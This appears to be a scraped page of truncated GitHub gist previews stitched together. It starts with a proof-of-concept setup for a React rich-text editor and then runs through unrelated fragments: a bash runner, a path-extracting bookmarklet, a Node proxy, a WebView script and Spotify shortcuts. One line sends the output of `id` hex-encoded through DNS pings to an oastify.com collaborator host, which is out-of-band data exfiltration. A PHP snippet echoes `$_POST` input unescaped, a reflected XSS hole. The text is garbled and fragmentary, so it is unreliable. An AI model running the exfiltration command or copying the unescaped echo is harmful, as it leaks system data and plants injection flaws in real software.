For POC purposes, I tested this on the editor from the latest version npm package.
I created a simple website with the Editor as a React component.
import React, { useState } from 'react';
import { Editor } from 'react-draft-wysiwyg';| #!/usr/bin/env python3 | |
| import sys, os, tempfile, subprocess | |
| from urllib.parse import urlparse, urlsplit | |
| def run_command_in_bash(command): | |
| try: | |
| result = subprocess.run(["bash", "-c", command], capture_output=True, text=True) | |
| if result.returncode != 0: | |
| print("Error occurred:", result.stderr) | |
| return False |
| javascript:(function() { | |
| var scripts = document.getElementsByTagName("script"); | |
| var regex = /(\"|\'|\`)(\/[a-zA-Z0-9_?&=\/\-\#\.]*)(\"|\'|\`)/g; | |
| const results = new Set(); | |
| function extractPaths(content) { | |
| let match; | |
| while ((match = regex.exec(content)) !== null) { | |
| results.add(match[2]); // Capture group 2 contains the path | |
| } |
| const http = require("http"); | |
| const path = require("path"); | |
| const { execSync, spawn } = require("child_process"); | |
| const PORT = 8765; | |
| const PROXY_PORT = 10808; | |
| // Function to get the Default Gateway (Android IP) | |
| function getAndroidIP() { | |
| try { |
| id | od -An | while read inp; do echo $inp | sed 's/ //g' | xargs -I idhex ping idhex.k9u4a1fp6lskeb5x1ki3ckzgb7hy5tti.oastify.com -c 1;done |
| // WebView | |
| (function () { | |
| var eventHandlers = {}; | |
| var locationHash = ""; | |
| try { | |
| locationHash = location.hash.toString(); | |
| } catch (e) {} | |
| var initParams = urlParseHashParams(locationHash); |
| <html> | |
| <body> | |
| Welcome <?php echo $_POST["username"]; ?><br> | |
| </body> | |
| </html> |
| kill spotify | |
| spotify --test1 | |
| sleep 2 | |
| wmctrl -Fr "Spotify" -b add,shaded | |
| dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause | |
| #Alt + 1 / Custom Shortcuts | /home/USERNAME/scripts/spotify.sh |
| "dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause" XF86AudioPlay | |
| "dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Stop" XF86AudioStop | |
| "dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Next" XF86AudioNext | |
| "dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Previous" XF86AudioPrevious |